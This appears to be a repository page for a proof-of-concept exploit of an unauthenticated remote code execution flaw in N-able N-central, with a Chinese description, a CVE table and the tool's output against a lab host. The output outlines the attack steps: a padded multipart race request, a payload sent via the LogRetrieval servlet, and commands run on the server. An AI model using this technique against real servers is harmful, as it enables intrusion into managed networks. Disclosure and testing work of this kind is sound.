udyz/cve-2026-86218针对 CVE-2026-86218 的概念验证漏洞利用，该漏洞是通过 Struts BeanUtils 在 N-able N-central 中实现的未认证 RCE，具备版本检测和命令执行功能。
CVE-2026-86218 - N-able N-central Struts BeanUtils 未认证 RCE
| CVE | CVE-2026-86218 |
| CVSS | 10.0（严重） |
| 受影响 | N-central 本地部署 < 2026.3.1.14（包括 Hotfix 3） |
| 已修复 | 2026.3 Hotfix 4（build 2026.3.1.14） |
| 披露日期 | 2026-09-05 |
| CWE | CWE-96（静态代码注入） |
| 利用情况 | 已在野利用（CISA KEV） |
[*] Running version check ...
[*] Detected N-central version: 2026.3.1.10
[*] Vulnerable: True
[*] Target : https://nc.lab:443
[*] Servlet : LogRetrieval
[*] Trigger : https://nc.lab:443/LogRetrieval/WEB-INF/web.xml
[*] Marker : ecbddf8d8fe83376aabb4f1e81efd2d2
[+] JSESSIONID: node01bhudsdf7jmpktsh6e0qhjtsk185448.node0
[*] Padding prefix: 49847 bytes
[*] Body size : 63849 bytes
[*] Split offset : 50241 / 64142
[*] Sent partial request; sleeping 0.35s ...
[*] Helper response: HTTP 200
[*] Sent remaining mutation fields
[*] Mutation response head:
HTTP/1.1 200 OK
[*] Multipart race completed.
[*] Sending payload via LogRetrieval ...
[+] Response:
uid=984(nable) gid=984(nable) groups=984(nable) context=system_u:system_r:unconfined_service_t:s0
Linux nc.lab 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64 x86_64 x86_64 GNU/Linux
ecbddf8d8fe83376aabb4f1e81efd2d2
[+] Marker observed in response — payload launched.